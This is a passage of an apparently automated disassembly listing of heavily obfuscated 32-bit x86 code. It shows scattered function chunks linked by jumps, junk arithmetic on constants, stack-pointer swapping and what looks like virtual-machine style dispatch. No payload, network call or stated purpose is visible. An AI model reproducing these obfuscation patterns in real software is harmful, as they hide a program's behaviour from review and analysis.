		pop	eax
		add	[ebx], ebp
		pop	ebp
		jmp	loc_5A21EF
; END OF FUNCTION CHUNK	FOR sub_5A3B60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59B0B8:				; CODE XREF: sub_59C979+56A7j
		mov	eax, 55ED26F6h
		jmp	loc_5AB3F0
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD13


loc_59B0C2:				; CODE XREF: sub_5ADD13-B08Ej
					; sub_5A580F+7BC1j
		or	edx, 4DDE0B55h
		or	edx, 38A226BDh
		xor	edx, 117021F2h
		neg	edx
		add	edx, 6C8F5E13h
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		push	esi
		mov	esi, 4
		mov	eax, esi
		pop	esi
		sub	edx, eax
		pop	eax
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_59BC36
; END OF FUNCTION CHUNK	FOR sub_5ADD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3E64


loc_59B101:				; CODE XREF: sub_5A3E64+A510j
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		jmp	loc_5A9B50
; END OF FUNCTION CHUNK	FOR sub_5A3E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B114:				; CODE XREF: sub_5AA2D1-7D2Aj
					; sub_5AA2D1-1EB2j
		push	ecx
		jmp	loc_5A8719
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_59B11A:				; CODE XREF: sub_5A9D64-59E4j
		and	esi, edi
		pop	edi
		jmp	loc_59B88F
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BA35


loc_59B122:				; CODE XREF: sub_59BA35-1F4Bj
					; sub_5A118F+CCA8j
		push	edx
		push	ecx
		mov	ecx, 1
		mov	edx, ecx
		jmp	loc_59D677
; END OF FUNCTION CHUNK	FOR sub_59BA35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_59B130:				; CODE XREF: sub_5AD795-128Dj
		xor	bh, 3Ah
		xor	cl, bh
		pop	ebx
		or	cl, 3
		jmp	loc_5A2937
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD6D4


loc_59B13E:				; CODE XREF: sub_5AD6D4-BFF3j
		xchg	esi, [esp+4+var_4]
		jmp	loc_5A46B2
; END OF FUNCTION CHUNK	FOR sub_5AD6D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59B146:				; CODE XREF: sub_59D6B8+127A4j
		push	eax
		jmp	loc_5AE317
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------


loc_59B14C:				; CODE XREF: sdfs____:005A118Aj
		add	edx, eax
		pop	eax
		xor	edx, [esp]
		jmp	loc_59FBC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5997FD


loc_59B157:				; CODE XREF: sub_5997FD+14D37j
		shr	ebx, 7
		and	ebx, 14E3169Fh
		jmp	loc_59B942
; END OF FUNCTION CHUNK	FOR sub_5997FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59B165:				; CODE XREF: sub_5A2E28-1A85j
		xor	ebx, 2164215h
		shr	ebx, 2
		sub	ebx, 26DC147h
		add	edi, ebx
		jmp	loc_5A2531
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_59B17B:				; CODE XREF: sub_59A9E9+134B5j
		shr	edi, 7
		push	esi
		push	edx
		push	0E9322EAh
		pop	edx
		jmp	loc_59CCC2
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_59B18B:				; CODE XREF: sub_5AA810-17CCj
		add	ecx, 5F26003Ch
		jmp	loc_59F7FB
; END OF FUNCTION CHUNK	FOR sub_5AA810

; =============== S U B	R O U T	I N E =======================================



sub_59B196	proc near		; DATA XREF: sdfs____:00598E70o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A66FE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005ABE98 SIZE 0000000C BYTES

		mov	cx, [esp+0]
		push	56F0h
		mov	[esp+4+var_4], edi
		mov	edi, esp
		jmp	loc_5ABE98
sub_59B196	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0924


loc_59B1A9:				; CODE XREF: sub_5A0924+2A59j
		inc	eax
		dec	eax
		inc	eax
		add	eax, 797C1E21h
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	59E1h
		jmp	loc_5A97E8
; END OF FUNCTION CHUNK	FOR sub_5A0924
; ---------------------------------------------------------------------------


loc_59B1CA:				; CODE XREF: sdfs____:00599D3Ej
		mov	edx, [esp]
		add	esp, 4
		add	ebx, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5AD509
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4886


loc_59B1DD:				; CODE XREF: sub_5A4886+2246j
		pop	eax
		push	[esp-4+arg_0]
		pop	edi
		push	esi
		mov	esi, esp
		jmp	loc_5AFEFB
; END OF FUNCTION CHUNK	FOR sub_5A4886
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59B1EA:				; CODE XREF: sub_5992DA+143EBj
		add	bl, 2Eh
		add	bl, 0C8h
		jmp	loc_59D548
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B1F5:				; CODE XREF: sub_5AA2D1-3413j
		pop	ebp
		push	dword ptr [esp+0]
		push	[esp+2+var_4+2]
		pop	ecx
		push	5B36h
		mov	[esp+6+var_8+2], edi
		sub	esp, 4
		jmp	loc_5A1BBB
; ---------------------------------------------------------------------------


loc_59B210:				; CODE XREF: sub_5AA2D1-1C1Cj
		pop	eax
		jmp	loc_5ABC6D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59B216:				; CODE XREF: sub_59D6B8+12D6Ej
		or	eax, 7D6C76D7h
		jnb	loc_5AB3A6
		jmp	loc_5A0E5B
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
		pop	edx
		mov	edx, eax
		mov	eax, [esp]
		mov	edx, esi

; =============== S U B	R O U T	I N E =======================================



sub_59B22E	proc near		; DATA XREF: sdfs____:00598FB8o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A4B58 SIZE 00000037 BYTES

		lodsd
		sub	eax, 714142AAh
		add	eax, 5F5E698Fh
		add	eax, 2CBA30C8h
		jmp	loc_5A4B58
sub_59B22E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A986


loc_59B243:				; CODE XREF: sub_59A986+11j
		push	edx
		mov	edx, 272718A2h
		sub	edx, 12101C5Dh
		not	edx
		sub	edx, 791E6DEBh
		jmp	loc_59C0B0
; END OF FUNCTION CHUNK	FOR sub_59A986
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_59B25C:				; CODE XREF: sub_5A77D5+3C30j
		xor	[esp+4+var_4], edi
		jmp	loc_5A9B45
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3C19


loc_59B264:				; CODE XREF: sub_5A3C19+7F16j
		sub	ebx, 34E94DA3h
		add	ebx, ebp
		add	ebx, 34E94DA3h
		mov	ebp, [esp+0]
		add	esp, 4
		push	1F96h
		mov	[esp+0], ebx
		jmp	loc_5AD4CC
; END OF FUNCTION CHUNK	FOR sub_5A3C19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B285:				; CODE XREF: sub_5AF294-FBABj
					; sub_5AA2D1-A4A6j
		xchg	esi, ebp
		not	esi
		xchg	esi, ebp
		push	edi
		jmp	loc_5A7A66
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4E8


loc_59B291:				; CODE XREF: sub_59A4E8+CFFFj
		jge	loc_5A4740
		push	esi
		push	ebp
		mov	ebp, 0C9D5131h
		mov	esi, ebp
		jmp	loc_5A5E9C
; END OF FUNCTION CHUNK	FOR sub_59A4E8
; ---------------------------------------------------------------------------
		push	ebp
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_59B2A6:				; CODE XREF: sub_5ADD33+155Cj
		xchg	eax, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		sub	esp, 4
		jmp	loc_5AF8F5
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_59B2B7:				; CODE XREF: sub_5A0FFF-8EEj
		mov	[esp+4+var_4], ecx
		push	28h
		push	[esp+8+var_8]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		add	ecx, 1C874EB0h
		add	ecx, 50F312EDh
		jmp	loc_5A17F9
; END OF FUNCTION CHUNK	FOR sub_5A0FFF

; =============== S U B	R O U T	I N E =======================================



sub_59B2E4	proc near		; DATA XREF: sdfs____:00598F68o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059A3E9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059AF18 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059BE84 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A01D8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A2748 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A3352 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A486C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A5002 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A787C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AC2A3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AC72D SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005AF40A SIZE 0000000C BYTES

		push	1974h
		mov	[esp+4+var_4], esp
		push	esi
		jmp	loc_5A5002
sub_59B2E4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A996F


loc_59B2F2:				; CODE XREF: sub_5A996F-AAD6j
		mov	edx, 33687340h
		add	edx, 0CC978CC4h
		add	ebp, 6DAF552Bh
		add	ebp, edx
		sub	ebp, 6DAF552Bh
		mov	edx, [esp+8+var_8]
		add	esp, 4
		jmp	sub_5AF2D9
; END OF FUNCTION CHUNK	FOR sub_5A996F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59B316:				; CODE XREF: sub_5A2E28-5595j
		push	edx
		mov	edx, 68C93EEEh
		dec	edx
		dec	edx
		and	edx, 5CE131F0h
		add	edx, 6EB04715h
		add	edx, 488E880Fh
		sub	ebx, edx
		pop	edx
		xchg	ebx, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		mov	[esp-0Ch+arg_8], esi
		mov	esi, 1DD651ACh
		push	66FEh
		mov	[esp-8+arg_4], edi
		mov	edi, 5D097015h
		xor	esi, edi
		pop	edi
		add	esi, 24352E9Bh
		sub	esi, 0D8B7B6CBh
		sub	eax, esi
		pop	esi
		jmp	loc_5AD94F
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B365:				; CODE XREF: sub_5AA2D1-46DFj
		pop	ecx
		jmp	loc_59FE22
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5998AD


loc_59B36B:				; CODE XREF: sub_5998AD+14j
		add	[esp+8+var_8], 4
		push	[esp+8+var_8]
		jmp	loc_5999AB
; END OF FUNCTION CHUNK	FOR sub_5998AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B377:				; CODE XREF: sub_5AA2D1+4C91j
		ja	loc_59D33E
		jmp	loc_5ABFCD
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		sub	edi, eax
		jmp	loc_59DDE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_59B389:				; CODE XREF: sub_599D0E+7E94j
		add	dh, 0CAh
		jmp	loc_5A8EC5
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B391:				; CODE XREF: sub_5AA2D1+77Dj
		mov	dh, ah
		pop	eax
		add	al, 34h
		jmp	loc_5A6898
; ---------------------------------------------------------------------------


loc_59B39B:				; CODE XREF: sub_5AA2D1+2ECEj
		xchg	edx, [esp+2+var_4+2]
		pop	esp
		jmp	loc_5A32D9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59B3A4:				; CODE XREF: sub_5992DA+3557j
					; sub_5992DA+12A9Ej
		push	436Eh
		jmp	loc_59924C
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C1E9


loc_59B3AE:				; CODE XREF: sub_59C1E9+CBE9j
		push	edi
		mov	edi, 278F5308h
		or	edi, 376E2EF8h
		shr	edi, 6
		dec	edi
		shr	edi, 7
		shl	edi, 7
		jmp	loc_5A8FE1
; END OF FUNCTION CHUNK	FOR sub_59C1E9

; =============== S U B	R O U T	I N E =======================================



sub_59B3C9	proc near		; DATA XREF: sdfs____:00598F88o

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00599316 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059A22D SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0059BB83 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A124A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A1E73 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A30DD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AD614 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AE292 SIZE 0000000A BYTES

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_59A22D
sub_59B3C9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B3E4:				; CODE XREF: sub_5AA2D1:loc_5A0D14j
		xor	eax, 7328729Ch
		jmp	loc_59CA8F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_59B3EE:				; CODE XREF: sdfs____:0059D331j
		or	edi, 46B4A7Bh
		and	edi, 3C6324C4h
		shl	edi, 1
		dec	edi
		jmp	loc_5A1BCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE0D


loc_59B402:				; CODE XREF: sdfs____:0059EB99j
					; sub_5ABE0D:loc_5A6214j
		xor	esi, 2B156C3Dh
		mov	eax, esi
		pop	esi
		dec	eax
		jmp	loc_5AADB5
; END OF FUNCTION CHUNK	FOR sub_5ABE0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B60


loc_59B411:				; CODE XREF: sub_5A3B60-A8B0j
		pop	ebx
		sub	ebx, 7E1C4765h
		mov	ecx, [esp+0]
		add	esp, 4
		add	ebx, eax
		push	ebp
		push	30B0h
		mov	[esp+4+var_4], ecx
		push	15C6431Ch
		jmp	loc_5A50FE
; END OF FUNCTION CHUNK	FOR sub_5A3B60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_59B436:				; CODE XREF: sub_5A522E-22B4j
		or	esi, 4B4C27AFh
		push	edi
		jmp	loc_5A5269
; END OF FUNCTION CHUNK	FOR sub_5A522E

; =============== S U B	R O U T	I N E =======================================



sub_59B442	proc near		; CODE XREF: sub_5AA2D1-3E9Aj
		push	ebp
		mov	ebp, 75403993h
		xor	ebp, 75403997h
		add	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+0]
		pop	esp
		jmp	loc_59DCFC
sub_59B442	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B463:				; CODE XREF: sub_5AA2D1-6848j
		add	esp, 2
		push	ecx
		push	ebx
		push	edx
		mov	dl, 0C2h
		jmp	loc_59E3FA
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD84A


loc_59B470:				; CODE XREF: sub_5AC803-7231j
					; sub_59FC02+743Dj ...
		pop	esp
		mov	[esp-4+arg_0], ebp
		push	4350h
		mov	[esp+0], esi
		push	eax
		push	6694h
		mov	[esp+8+var_8], edx
		jmp	loc_59FB21
; END OF FUNCTION CHUNK	FOR sub_5AD84A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B48A:				; CODE XREF: sub_5AA2D1-ECFFj
		add	ecx, 534A72B4h
		add	ecx, 56F61EC4h
		add	edx, ecx
		mov	ecx, [esp+6+var_8+2]
		jmp	loc_59D073
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_59B4A0	proc near		; CODE XREF: sub_59C979+7C4Ej

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059B081 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A3530 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A3F71 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A4241 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A43AD SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005AAA38 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AC85F SIZE 00000016 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	esp
		pop	eax
		push	edi
		jmp	loc_5A43AD
sub_59B4A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_59B4B1	proc near		; CODE XREF: sub_5A9EC5-1A4Dj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059D0F4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059FE17 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A8835 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A9800 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005AB9FF SIZE 0000000C BYTES

		push	ebx
		jmp	loc_5A8835
sub_59B4B1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A633D


loc_59B4B7:				; CODE XREF: sub_5A633D-3643j
		or	ecx, 1F2B418Eh
		sub	ecx, 21F55DF6h
		jmp	loc_5AD0F1
; END OF FUNCTION CHUNK	FOR sub_5A633D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_59B4C8:				; CODE XREF: sub_5AD795-89FDj
		pop	ebp
		pop	ecx
		not	ecx
		xchg	ecx, ebp
		sub	ebp, 0FFFFFFFFh
		add	ebp, 8F0B1FD9h
		sub	ebx, 261C644Ch
		add	ebx, 66622A5h
		add	ebx, ebp
		sub	ebx, 66622A5h
		add	ebx, 261C644Ch
		pop	ebp
		push	28A0h
		mov	[esp+4+var_4], ecx
		mov	cl, 60h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59D508
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A58FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_59B510:				; CODE XREF: sub_5A77D5-623Bj
		mov	edi, esp
		push	ebx
		push	ebp
		jmp	loc_5A2195
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_59B519:				; CODE XREF: sub_5B01F7-99BFj
		sub	eax, 21E742Bh
		jmp	loc_59E0FD
; ---------------------------------------------------------------------------


loc_59B523:				; CODE XREF: sub_5B01F7-7DA9j
		dec	ecx
		jnp	loc_5A1032
		sub	ecx, 5C8F57C6h
		sub	dh, 0A0h
		push	ecx
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59B534:				; CODE XREF: sub_5A477C+2969j
		mov	[esp-8+arg_4], ebx
		push	ecx
		push	esi
		mov	esi, 21F41536h
		mov	ecx, esi
		pop	esi
		sub	ecx, 0E2B55CDh
		xor	ecx, 2CBFF69Eh
		mov	ebx, ecx
		jmp	loc_5A4A05
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB5A9


loc_59B554:				; CODE XREF: sub_5AB5A9+4B13j
		push	0ADBh
		mov	[esp+4+var_4], ebx
		push	dword ptr [esp+4]
		jmp	loc_5AB861
; END OF FUNCTION CHUNK	FOR sub_5AB5A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59B565:				; CODE XREF: sub_5A5EFF-BD6Ej
		shr	eax, 3
		push	ebx
		push	0FFFFFFFFh
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		add	eax, ebx
		pop	ebx
		push	edi
		mov	edi, 331494E0h
		xor	eax, edi
		jmp	loc_5A60D7
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B588:				; CODE XREF: sub_5AA2D1-D02Fj
					; sdfs____:005A1DC5j
		mov	[esp+6+var_8+2], esi
		jmp	loc_5AEC55
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D37E


loc_59B590:				; CODE XREF: sub_59D37E+14j
		add	ebp, 0A0B3E48Dh
		mov	esi, ebp
		pop	ebp
		push	eax
		jmp	sub_59C656
; END OF FUNCTION CHUNK	FOR sub_59D37E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_59B59F:				; CODE XREF: sub_5A4D9D-6D72j
		add	esp, 4
		push	145Ah
		mov	[esp+0], eax
		mov	eax, 73E352D4h
		or	eax, 3015E1h
		add	eax, 4DAC2AAEh
		jp	loc_5A18A7
		neg	eax
		jge	loc_5A261B
		jnp	loc_5AE907
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B5CD:				; CODE XREF: sub_5AA2D1-4916j
		mov	ecx, 55BF6E8Ch
		jmp	loc_59B48A
; ---------------------------------------------------------------------------


loc_59B5D7:				; CODE XREF: sub_5AA2D1-60CFj
		xor	edi, [esp+6+var_8+2]
		xor	[esp+6+var_8+2], edi
		xor	edi, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		jmp	loc_5A081D
; ---------------------------------------------------------------------------


loc_59B5E8:				; CODE XREF: sub_5AA2D1-1096Aj
		add	ecx, 4
		jmp	loc_5AA1AB
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_59B5F0:				; CODE XREF: sub_59D6B8+BC52j
		push	[esp+20h+var_20]
		pop	eax
		add	esp, 4
		pop	cx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_59B604:				; CODE XREF: sub_5A3992-260Aj
		neg	edi
		jmp	loc_59F19A
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B60B:				; CODE XREF: sub_5AA2D1+5CFFj
		not	bx
		shl	bx, 8
		sub	bx, 54E3h
		sub	bx, 4F02h
		jmp	loc_5A02D8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B1D


loc_59B621:				; CODE XREF: sub_5A9B1D+2935j
		add	ecx, 87BEA8Bh
		jmp	loc_59F834
; END OF FUNCTION CHUNK	FOR sub_5A9B1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_59B62C:				; CODE XREF: sub_59A26C+D8DBj
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		pop	[esp-8+arg_4]
		jmp	loc_59A074
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3699


loc_59B63E:				; CODE XREF: sub_5A3699-8995j
		pop	ebx
		shl	esi, 4
		shr	esi, 2
		push	ebp
		mov	ebp, 0E7E5E670h
		add	esi, ebp
		jmp	loc_599F39
; END OF FUNCTION CHUNK	FOR sub_5A3699
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_59B652:				; CODE XREF: sub_59CBE1+A870j
		push	6E33h
		mov	[esp-8+arg_4], edx
		push	eax
		jmp	loc_5A30B1
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59B660:				; CODE XREF: sub_5A2E28+603Dj
		mov	[esp-10h+arg_C], ebp
		mov	ebp, 7D376F2Ah
		or	ebp, 28DE0F88h
		shr	ebp, 1
		jmp	loc_59A328
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59B675:				; CODE XREF: sub_5A477C+8D88j
		xor	esi, 4AB2C2ABh
		xor	ecx, esi
		pop	esi
		jmp	loc_5A433F
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B683:				; CODE XREF: sub_5AA2D1-321Dj
		mov	eax, 53A531Ch
		dec	eax
		jmp	loc_5A17AC
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAB66


loc_59B68E:				; CODE XREF: sub_5AAB66-960j
		and	ebx, 37A918DBh
		dec	ebx
		neg	ebx
		push	edx
		jmp	loc_5A7901
; END OF FUNCTION CHUNK	FOR sub_5AAB66

; =============== S U B	R O U T	I N E =======================================



sub_59B69D	proc near		; CODE XREF: sub_5A7BEB+6568j

; FUNCTION CHUNK AT 005A06CD SIZE 00000005 BYTES

		push	bx
		jmp	loc_5A06CD
sub_59B69D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_59B6A4:				; CODE XREF: sub_59A479+15924j
		push	[esp+0Ch+var_C]
		pop	eax
		add	esp, 4
		jmp	sub_5A913B
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A687B


loc_59B6B0:				; CODE XREF: sub_5A687B+Ej
		push	35B8h
		mov	[esp+8+var_8], edx
		push	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+10h+var_10]
		jmp	loc_5AA03C
; END OF FUNCTION CHUNK	FOR sub_5A687B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ED98


loc_59B6CC:				; CODE XREF: sub_59ED98+A27Fj
		push	16Ch
		mov	[esp+0], ebx
		push	edx
		mov	dh, 1Eh
		mov	bl, 27h
		sub	bl, 72h
		jmp	loc_5A1EDA
; END OF FUNCTION CHUNK	FOR sub_59ED98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59B6E1:				; CODE XREF: sub_5AA2D1-7ECFj
		sub	eax, ebp
		jmp	loc_5A716F
